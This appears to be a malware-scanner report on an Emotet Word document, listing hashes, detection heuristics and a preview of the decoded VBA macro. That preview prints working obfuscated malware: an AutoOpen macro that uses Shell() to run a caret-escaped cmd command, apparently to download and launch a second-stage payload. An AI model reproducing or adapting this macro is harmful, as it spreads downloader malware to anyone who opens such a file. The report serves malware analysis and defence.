Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 09660b1eab5cc5de…

MALICIOUS

Office (OLE)

77.5 KB Created: 2018-08-31 10:25:00 Authoring application: Microsoft Office Word First seen: 2018-10-07
MD5: ba2dac837f3cb023de326eeb4dcb0f23 SHA-1: ed9277180f992a76e7497658ebf955673b7a7ea5 SHA-256: 09660b1eab5cc5decb35d90e4968a89c4a9b9fb320f4cf9a12b664fc8a5644aa
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen subroutine that calls the Shell() function. This function is used to construct and execute a command that appears to be designed to download and run a secondary payload. The ClamAV detection name and the presence of Shell() in VBA strongly suggest Emotet family activity.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-6884040-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6884040-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9398 bytes
SHA-256: d0ed4e958ad0d55ce9395e6bcb99a93b379c62a436ea3b8274f3cf0ddf64593c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "nlGuOKCOVi"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()

On _
Error _
Resume _
Next
   Hour nFiqF * czitU * SlIviw / poMUX
   Hour WBuRbF * hjVOt
Shell KeyString(11 + 3 + 2 + 4 + 47) + hUHomYDrViR + BXSAwjnd + RvNfZw + OvjKjjzBa + bfNnwGknjOi + fcOuAz + WVWoTWcYCi + nSsARblGaLau + EhTOtnQRnqn, 34 - 34
   Hour 87688 * bfGwI
   Hour 14113 / nvcdCr * 50913 / GjZBXM
   Hour zjHrrw * QYjlU / iCNAh / fvFdl
   Hour WuXmQ * 69577
End Sub



Attribute VB_Name = "MWOzrrKliSsv"
Function RvNfZw()

On _
Error _
Resume _
Next
Hour JKrAq / RBmAwQ / 44761 * rruTYh
   Hour 71328 / 25209
   Hour 3380 / 28567
   Hour zliMNO / lHQvR / 50293 * bnlFPr
woYlzcvGV = "md " + "/V" + "^" + ":ON/C" + Chr(0 + 1 + 0 + 1 + 32) + "^" + "s^e^t" + " 6^k=" + "^==^" + "A^A^g" + "^A"
Hour 79333 * YToJMG / ilDfA / iVGTHQ
NThZtRwlQv = "^AIA^A" + "CA" + "^g" + "^A^A^" + "I^AACAg" + "^AA^I" + "AACAg"
Hour 22129 * mIjQf / 88590 / niBFA
   Hour 36917 / dMvWw / ApSwXr * cQYUVH
SSPWVPmhKN = "AAIA" + "A" + "C^A" + "^g^" + "AA^" + "IA"
Hour jWClO / EVrtd
fPMMHwzahu = "ACA^g" + "AA" + "^I^A" + "^0H^A" + "^9BweA" + "^" + "gGAj^B^"
Hour XfNWm * RSHlzE * 67478 * wimpWB
   Hour 91203 / azGRZn / 81515 * 61152
   Hour 67071 / waGttY
   Hour 87093 / Giqhqz * 8712 * MkbKm
llZNB = "Ad^" + "A^E^GA^" + "j^BQ" + "^" + "f^A^s^D" + "ArB^Q" + "^" + "YA^U^GA" + "^y^B^g^" + "Y^A^sDA" + "^PB^QU^" + "A^Y^E" + "^A^kAA"
RvNfZw = woYlzcvGV + NThZtRwlQv + SSPWVPmhKN + fPMMHwzahu + llZNB
   Hour 77914 * QwjhXu / sIwEGQ * mkEoHH
   Hour 18958 / qBBJv
   Hour EqjZh * rhLPCt
   Hour Ylppz * dXLDC * OQFGHh / Grqzz
End Function
Function OvjKjjzBa()

On _
Error _
Resume _
Next
Hour 77623 / WRjMT * 98981 / JPhhi
   Hour 87 / 53392
   Hour 44772 * MbcEIV
   Hour Minrd * SBkXAf
KBmhYEn = "I^" + "A^0^GAl" + "^BAd^A" + "^kE^A" + "tA"
Hour 61382 / jzXifI * PzfwHj * AhWqzS
   Hour 8560 / HqXqZJ / 22022 * adqYz
   Hour uCWWQA / tBCrR / 92766 * HaGwCH
   Hour 88410 * ElidI
kYRWRdB = "^Q^ZAs" + "G^Av" + "B^g^d" + "A^" + "4GA^JB" + "wO^"
Hour 30527 * vQawj
   Hour NkmDVH / rnKEd
   Hour 30905 / 81118
hAwzEj = "A^kC" + "^" + "A^PB^QU" + "^A^Y" + "E^A^k" + "AA^I"
Hour 32994 * hJhmTz * OwpQS / WnNiFa
   Hour 79166 / khWvr
   Hour 35039 / jmaiFi
   Hour 95081 * jCjoYK / 32209 / Mldlh
   Hour 67143 * dmrBtO / 68845 / iOuJN
YRindqDzDAJ = "A" + "wCA^YB" + "^wS^" + "AQEAkA" + "A^KA^UG" + "^A^s^BQ" + "a^AYE^" + "Ak" + "^BQ^Y"
Hour 1837 / TJKJQ * 13387 / bSwFu
   Hour hcfoCp / iucnu
fvmON = "A^" + "8^GA^" + "sB^g^b" + "AcH^A" + "v^" + "B^A" + "R^A^4C"
Hour UOfqjA * pwuqZ
   Hour wNvDLm / ibZsf * 36398 / ikklG
CGunKEnc = "^A2B" + "^" + "g^Y^A^" + "o^G" + "AkA^w^e" + "^Ak" + "H" + "^A^y" + "^B" + "^A"
OvjKjjzBa = KBmhYEn + kYRWRdB + hAwzEj + YRindqDzDAJ + fvmON + CGunKEnc
   Hour GGfEl / wXwVli
   Hour biSoO * IEtli
   Hour 50386 * spiOai
   Hour 29986 / ilrsf
End Function
Function bfNnwGknjOi()

On _
Error _
Resume _
Next
Hour iYbbml / bwbjjK * 95393 / hDGWV
   Hour 73354 / cdMhwP
   Hour 39404 / wjCTR / 6944 / PZihcC
LzRDSROZZwO = "^" + "d" + "As^H" + "A^pA^wd" + "AEGA^6" + "^BA^J"
Hour 49376 * oiYlu / 42035 / ozwZEj
   Hour 10065 * bjivE
fwLaIhhIPh = "^A" + "ACA" + "^uBQ^a" + "A" + "^" + "A" + "C^" + "A^YBwS^" + "A"
Hour 51196 / XbKwW / 4713 / FiRFS
   Hour 26330 / vzEHZ
hUscwSzb = "^QE^" + "A^kAA" + "^KAg" + "^G^A^j" + "BQY^A^U" + "G^Ay" + "Bw^b^" + "AYG^A7A" + "wJAUG" + "A^4^" + "B^Q^ZA4" + "C^AnA"
Hour Wuoow / 45946
   Hour 80384 * zuvvE
   Hour cVbbH / VXiKiw * rjajz * LkuKEh
   Hour ituPv / pjSIjS * Ldjca / UcjZw
   Hour lzqTdC * cmsDm / 26164 * rZTPfh
   Hour 51079 / 52037 * 90881 / pGfnWK
KbNGnojir = "wK^" + "AI^H" + "A^J^B" + "^Ac^AQ" + "C^ArAw^" + "JAw^" + "F^AnA^"
Hour 96717 * OjmwW
TWwGQCh = "w^K^AMG" + "ApBAb" + "A^I^G" + "^A^1^" + "B^Ac" + "^" + "Ao^D" + "A^" + 
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.